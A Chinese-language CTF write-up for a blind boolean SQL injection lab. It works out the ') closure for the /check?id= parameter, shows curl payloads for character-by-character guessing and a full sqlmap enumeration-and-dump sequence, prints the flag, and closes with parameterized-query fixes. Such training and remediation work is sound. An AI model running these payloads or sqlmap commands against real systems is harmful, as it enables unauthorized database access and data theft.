【好靶场】SQL 注入-布尔盲注-1
- 【好靶场】SQL 注入-布尔盲注-1:从响应差异判断到 sqlmap 读取 Flag
- 前言
- 一、前置知识
- 1. 什么是布尔盲注
- 2. 通用利用流程与MySQL核心函数
- 3. 本题注入结构与Payload原理
- 4. 漏洞判定与注入类型取舍
- 二、考点分析
- 三、靶场请求分析
- 1. 查看页面和接口
- 2. 发送正常请求
- 3. 推断原始 SQL 结构
- 四、漏洞利用流程
- 步骤 1:验证恒真和恒假条件
- 步骤 2:手工理解数据库名判断
- 步骤 3:sqlmap 确认注入点
- 步骤 4:枚举当前数据库中的表
- 步骤 5:枚举 `flag` 表字段
- 步骤 6:读取 Flag
- 五、工具复现命令汇总
- 1. 确认注入并获取当前数据库
- 2. 枚举当前库内的数据表
- 3. 枚举 flag 表中的全部字段
- 4. 导出 flag 字段中的目标数据
- 六、漏洞根因与修复
- 1. 漏洞根因:用户输入直接拼接进 SQL
- 2. 使用参数化查询(根本修复方案)
- 3. 增加输入类型校验(辅助防护)
- 4. 禁止将黑名单过滤作为主防御方案
- 5. 优化接口行为与数据库权限管控
- 七、总结
【好靶场】SQL 注入-布尔盲注-1:从响应差异判断到 sqlmap 读取 Flag
声明:本文仅用于官方授权的隔离靶场和 CTF 安全学习。文中所有请求只针对题目给出的地址,不涉及任何第三方网站或未授权系统。
前言
本题表面上是一个“根据用户 ID 判断用户是否存在”的功能。页面不会直接显示数据库查询结果,也不会回显 SQL 报错,只会根据查询结果返回一段 JSON:
{"exists":true,"message":"用户存在","status":"success"}或:
{"exists":false,"message":"用户不存在","status":"success"}这种通过响应中的真假差异来推断数据库查询结果的漏洞,就是布尔盲注。
本题的利用链如下:
定位 /check?id= 接口 ↓ 观察 exists 字段的真假 ↓ 构造恒真、恒假条件确认注入 ↓ 确定输入需要使用 ') 闭合 ↓ sqlmap 识别 Boolean-based blind ↓ 枚举当前数据库、数据表和字段 ↓ 读取 flag 表中的目标数据一、前置知识
1. 什么是布尔盲注
布尔盲注属于无回显SQL注入,页面既不会直接输出数据库数据,也不会抛出SQL报错信息。后端只会根据SQL执行结果返回两种业务状态:
- SQL条件成立:
exists=true - SQL条件不成立:
exists=false
我们无法直接读取数据,只能不断构造布尔判断语句,依靠响应的真假差异,配合二分法逐字符猜解出库名、表名、字段以及Flag。
简易逻辑模型:
可控参数拼接SQL → 构造布尔条件 接口返回 true/false → 判断语句真假 多次二分猜解 → 还原完整数据2. 通用利用流程与MySQL核心函数
布尔盲注标准化测试流程:
- 验证接口是否存在稳定的真假响应差异
- 遍历测试各类闭合符号,完成SQL逃逸
- 判断后端数据库类型
- 判断目标字符串长度,逐位爆破字符ASCII值
- 依次枚举数据库、数据表、敏感字段
MySQL盲注常用函数:
| 函数/系统库 | 作用 |
|---|---|
DATABASE() | 获取当前数据库名 |
LENGTH() | 获取字符串长度,确定猜解总次数 |
SUBSTRING() | 截取指定位置的单个字符 |
ASCII() | 将字符转为十进制数值,用于大小对比 |
information_schema | MySQL元数据库,存储库、表、字段信息 |
3. 本题注入结构与Payload原理
靶场后端接口:GET /check?id=xxx,前端通过fetch异步发送校验请求,注入点为GET参数id。
后端SQL被括号包裹,真实模板反向推导为:
WHERE(id='$id')普通单引号'或者单独右括号)都无法完整闭合语法,需要组合')实现双重逃逸。
通过多组Payload对比响应完成验证:
id=1→true(正常业务)id=1'/id=1)→ 无法产生稳定真假差异1') AND 1=1 AND ('a'='a→true(恒真)1') AND 1=2 AND ('a'='a→false(恒假)
可用注入模板:
1') AND [布尔条件] AND ('a'='a语法拆分:
1:保留合法原始参数'):闭合原有单引号与外层括号,完成逃逸AND [布尔条件]:插入自定义判断逻辑AND ('a'='a:用恒真表达式补齐SQL语法
踩坑要点:本题不能使用
#、--注释截断语句,注释会破坏语法,无法拿到稳定布尔结果;Payload有效性唯一判定标准:修改中间逻辑时,接口稳定返回true/false。
4. 漏洞判定与注入类型取舍
判断漏洞成立的核心依据:更换恒真/恒假表达式,接口产生稳定差异化返回。单纯输入特殊字符触发语法报错,仅代表参数可控,不等于可利用盲注漏洞。
同时该场景无法使用UNION联合注入:UNION需要页面存在明文数据输出点,当前接口仅返回布尔状态,没有数据回显窗口,只能采用布尔盲注逐字符猜解数据。
二、考点分析
- 注入点不在首页页面,而是后端异步校验接口,靶场环境无需端口扫描、目录爆破,直接对
id参数开展测试; - 区别普通数字型、单引号字符串注入,本题属于括号包裹的字符串闭合场景,是新手高频卡点;
- 掌握特殊盲注语法:无法使用注释截断SQL,采用恒真表达式补全语法的利用方式;
- 能够根据页面回显特征,自主选择合适的注入手法,区分UNION注入、报错注入与布尔盲注的适用边界。
三、靶场请求分析
1. 查看页面和接口
访问靶场首页:
页面本身不会直接查询数据库,输入 ID 点击校验后,前端 JavaScript 会通过fetch异步向后端发送请求。打开浏览器 F12 开发者工具,切换到网络(Network)面板抓包,或者直接查看页面 JS 源码,就能找到真正负责校验逻辑的后端接口:
GET /check?id=...后续所有注入测试、Payload 验证都针对该 GET 接口执行,首页页面本身不存在注入点。
2. 发送正常请求
在 Kali Linux 终端使用curl发送基础测试请求。
这里不能直接把特殊符号拼在 URL 后面,我们使用--data‑urlencode参数自动完成 URL 编码,防止括号、单引号被终端转义失效。
curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode'id=1'原始返回完整 JSON:
{"exists":true,"message":"用户存在","status":"success"}手工盲注时我们只需要对比exists的真假值,多余字段会干扰肉眼判断。安装jqJSON 格式化工具,用来过滤提取目标布尔字段:
curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode'id=1'|jq-r'.exists'执行输出结果:
true实操踩坑总结:
- 不加 URL 编码直接在地址栏输入
'),浏览器转义后会导致 Payload 失效;- 使用
curl -G配合--data‑urlencode,专门用于 GET 请求的参数编码,是手工注入调试的标准写法;jq过滤输出,方便批量对比恒真/恒假请求的返回差异,大幅提升手工盲注效率。
3. 推断原始 SQL 结构
靶场没有对外提供后端源码,下方 SQL 语句仅为根据注入 Payload 反向推导的模拟结构,用于理解闭合逻辑,并非真实业务代码。
我们推测后端查询模板格式如下:
SELECT...FROMusersWHERE(id='$id')当传入注入字符串1') AND 1=1 AND ('a'='a,与后端模板拼接完成后,最终执行的 SQL 片段等价于:
WHERE(id='1')AND1=1AND('a'='a')如果把判断条件替换成恒假表达式1=2,整条 WHERE 判断逻辑不成立,接口就会返回exists=false,由此形成我们盲注所依赖的真假差异。
四、漏洞利用流程
步骤 1:验证恒真和恒假条件
构造两组仅布尔逻辑不同的Payload,用来确认注入是否生效。
执行恒真语句测试:
curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND 1=1 AND ('a'='a"|jq-r'.exists'预期输出:
true执行恒假语句测试:
curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND 1=2 AND ('a'='a"|jq-r'.exists'预期输出:
false两次请求除中间判断表达式以外完全一致,但是接口返回的布尔值出现稳定差异。由此可以判定:id参数存在布尔型SQL注入漏洞。
步骤 2:手工理解数据库名判断
工具可以自动化完成爆破,但我们需要先理解手工盲注的完整逻辑。
首先判断当前数据库名称的字符长度:
curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND LENGTH(DATABASE())=17 AND ('a'='a"|jq-r'.exists'返回结果为true,代表数据库名字符长度等于17,本环境数据库名为sql_injection_lab。
接下来对单个字符进行猜解,借助SUBSTRING截取指定位置字符,再通过ASCII转换成十进制数字做大小对比。示例:判断第一位字符ASCII值是否大于110:
curl-sG'http://hbc2.haobachang.com:27212/check'\--data-urlencode"id=1') AND ASCII(SUBSTRING(DATABASE(),1,1))>110 AND ('a'='a"|jq-r'.exists'返回true则代表条件成立,字符ASCII值大于110。不断调整判断数值缩小范围,逐个位置完成猜解,最终拼接出完整字符串。
手工盲注固定执行逻辑:
LENGTH() 判断目标字符串总长度 ↓ SUBSTRING() 锁定单个字符位置 ↓ ASCII() 将字符转为可比较的十进制数值 ↓ 二分法不断缩小数值区间,确定准确字符步骤 3:sqlmap 确认注入点
完成手工验证之后,使用sqlmap自动化识别注入类型并枚举数据。首次扫描增加--flush‑session清空历史缓存,避免旧会话干扰识别结果。
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--flush-session\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\--current-db参数功能说明:
| 参数 | 作用 |
|---|---|
-u | 指定本次测试的目标请求地址 |
-p id | 限定仅对id参数进行注入测试 |
--batch | 全部交互选项自动选用默认值 |
--flush-session | 清除sqlmap本地缓存会话 |
--technique=B | 限定只使用布尔盲注模式 |
--level=3 | 使用中等规模的Payload测试集 |
--risk=1 | 低风险测试语句,避免破坏靶场数据 |
--threads=1 | 单线程发送请求,防止请求频率过高异常 |
--current-db | 查询当前连接的数据库名称 |
sqlmap识别结果:
工具自动生成的可用Payload:
id=1') AND 1873=1873 AND ('MVhu'='MVhu扫描结果再次验证本题注入闭合格式为')。
步骤 4:枚举当前数据库中的表
已知数据库名称为sql_injection_lab,增加--tables参数枚举库内所有数据表。
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\-Dsql_injection_lab\--tables返回结果:
数据表列表中出现目标表flag,下一步针对该表读取字段信息。
步骤 5:枚举flag表字段
使用--columns指令查询flag表包含的字段名称与数据类型。
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\-Dsql_injection_lab\-Tflag\--columns返回结果:
flag字段为文本类型,就是我们需要获取的敏感数据。
步骤 6:读取 Flag
指定数据库、数据表与目标字段,搭配--dump导出完整数据内容。
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid\--batch\--technique=B\--level=3\--risk=1\--threads=1\--timeout=10\--retries=1\-Dsql_injection_lab\-Tflag\-Cflag\--dumpsqlmap成功导出表内记录:
最终获取Flag:
flag{ed242c044870464f9264dfa47447abed}五、工具复现命令汇总
如果仅需要快速复现完整利用流程,可以依次执行下面四条命令,全部操作仅针对靶场地址27212端口下的/check?id=1接口。
1. 确认注入并获取当前数据库
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--flush-session--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1--current-db2. 枚举当前库内的数据表
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1\-Dsql_injection_lab--tables3. 枚举 flag 表中的全部字段
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1\-Dsql_injection_lab-Tflag--columns4. 导出 flag 字段中的目标数据
sqlmap-u'http://hbc2.haobachang.com:27212/check?id=1'\-pid--batch--technique=B\--level=3--risk=1--threads=1\--timeout=10--retries=1\-Dsql_injection_lab-Tflag-Cflag--dump简易参数释义:
| 参数 | 作用 |
|---|---|
-D | 指定要操作的数据库名称 |
-T | 指定目标数据表 |
-C | 指定需要读取的字段 |
--dump | 导出表内完整数据内容 |
实操提示:
--flush‑session仅第一次扫描时使用,后续连续复现可以省略该参数,加快扫描速度。
六、漏洞根因与修复
1. 漏洞根因:用户输入直接拼接进 SQL
该漏洞和请求方式、JSON返回格式没有直接关系,核心问题在于后端直接把用户可控的输入字符串拼接至SQL语句内部执行。
模拟存在漏洞的伪代码逻辑如下:
user_id=request.args.get('id','')sql="SELECT 1 FROM users WHERE (id = '"+user_id+"')"cursor.execute(sql)正常传入纯数字时业务逻辑运行正常;一旦攻击者提交携带单引号、括号、逻辑运算符的特殊字符串,用户输入就会脱离「数据」的范畴,变成可篡改SQL语义的代码片段。
2. 使用参数化查询(根本修复方案)
安全的编码方式采用预编译+参数绑定,SQL语句模板与用户输入完全分离。
安全示例代码:
fromflaskimportjsonify,request@app.get('/check')defcheck_user():raw_id=request.args.get('id','')try:user_id=int(raw_id)exceptValueError:returnjsonify({'exists':False,'message':'参数格式错误','status':'error'}),400cursor.execute('SELECT 1 FROM users WHERE id = %s LIMIT 1',(user_id,))exists=cursor.fetchone()isnotNonereturnjsonify({'exists':exists,'message':'用户存在'ifexistselse'用户不存在','status':'success'})防护的关键语句:
cursor.execute(sql,(user_id,))数据库驱动会把变量作为纯数据绑定执行,不会解析其中的SQL语法,攻击者无法通过构造') AND ...这类Payload篡改查询逻辑。
3. 增加输入类型校验(辅助防护)
结合业务场景,本接口的id本质为整型编号,可以在业务层提前做合法性校验。
框架自带强制类型转换:
user_id=request.args.get('id',type=int)自定义格式校验:
raw_id=request.args.get('id','')ifnotraw_id.isdecimal():return'invalid id',400注意:输入校验属于第二层防护措施,无法单独防御SQL注入,修复注入漏洞的核心手段依旧是参数化查询。
4. 禁止将黑名单过滤作为主防御方案
仅依靠黑名单拦截关键字与特殊字符无法根治注入问题。
黑名单过滤目标:单引号、括号、AND、OR、空格、注释符等。
攻击者可以利用URL编码、大小写变形、特殊语法、换行符等方式绕过过滤规则。黑名单只能作为安全检测的补充策略,不能替代预编译语句。
5. 优化接口行为与数据库权限管控
线上生产环境需要配套加固策略,缩小攻击面:
- 统一异常返回报文,禁止对外暴露SQL报错详情;
- 对高频异常请求添加访问限速,留存安全审计日志;
- 避免接口返回精准的资源存在判断结果,降低布尔盲注利用条件;
- 遵循最小权限原则,分配给业务程序的数据库账号仅保留必要权限。
七、总结
完成这道靶场的核心,不在于直接套用现成Payload,而是按照完整测试流程逐步验证注入特征,整体利用链路梳理如下:
首页脚本定位目标接口 GET /check?id= ↓ 发送普通请求,确认 exists 布尔字段作为判断依据 ↓ 对比恒真、恒假Payload,拿到稳定的 true / false 差异化响应 ↓ 多次试错,确定注入点需要 ') 完成语法闭合 ↓ 判定漏洞类型为 Boolean‑based blind SQL Injection(布尔型盲注) ↓ 借助 sqlmap 自动枚举 sql_injection_lab 数据库内容 ↓ 遍历数据表,定位 flag 表与敏感字段 flag ↓ 导出表数据拿到最终 Flag本次靶场获取的Flag:
flag{ed242c044870464f9264dfa47447abed}对应的安全加固流程:
杜绝直接拼接用户输入构造SQL语句 ↓ 采用预编译参数化查询作为核心防护手段 ↓ 叠加业务层输入校验、统一异常返回报文 ↓ 配套数据库最小权限、请求限流、安全审计日志做纵深防御